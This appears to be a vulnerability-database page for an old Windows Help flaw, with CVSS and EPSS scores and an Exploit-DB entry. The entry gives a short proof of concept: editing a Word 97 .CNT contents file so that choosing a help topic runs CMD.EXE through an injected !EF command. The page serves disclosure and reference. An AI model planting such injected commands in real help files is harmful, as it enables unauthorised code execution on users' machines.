CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The Windows help system can allow a local user to execute commands as another user by editing a table of contents metafile with a .CNT extension and modifying the topic action to include the commands to be executed when the .hlp file is accessed.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.46%
–
–
2022-02-13
–
–
2.46%
–
–
2022-04-03
–
–
2.46%
–
–
2022-07-17
–
–
2.46%
–
–
2023-02-26
–
–
2.46%
–
–
2023-03-12
–
–
–
0.05%
–
2024-01-07
–
–
–
0.05%
–
2024-03-03
–
–
–
0.05%
–
2024-04-07
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-16
–
–
–
0.05%
–
2024-10-13
–
–
–
0.05%
–
2024-12-15
–
–
–
0.05%
–
2024-12-22
–
–
–
0.05%
–
2024-12-29
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.15%
2025-03-30
–
–
–
–
0.29%
2025-04-15
–
–
–
–
0.29%
2025-04-15
–
–
–
–
0.29,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 1999-12-09 23h00 +00:00 Author : Pauli Ojanpera EDB Verified : Yes
source: https://www.securityfocus.com/bid/868/info
The help files for the Windows Help system (*.cnt, *.hlp) can be edited so that they run an arbitrary executable when selected by a user. The executable will run at the privelege level of the user.
The *.cnt files are like tables of contents that tell the help system what to open when each topic is selected. These entries can be edited to cause system and DLL calls and programs to be executed when a topic is chosen. The help files themselves, *.hlp, can be edited in a similar manner.
- Delete C:\Program Files\Microsoft Office\Office\WDMAIN8.GID
(kill winhlp32.exe process if necessary)
- Edit C:\Program Files\Microsoft Office\Office\WDMAIN8.CNT
which is a text file. You should change the line which has
something like:
3 Word 97 new features=woidxWhatsNewInMicrosoftWord97@wdnew8.hlp>REF
to read:
3 Word 97 new features=!EF("CMD.EXE","",1)
- Run WinWord and select Help|Contents from menubar.
- Find topic "Word 97 new features" and select it.
- You should see CMD.EXE to run.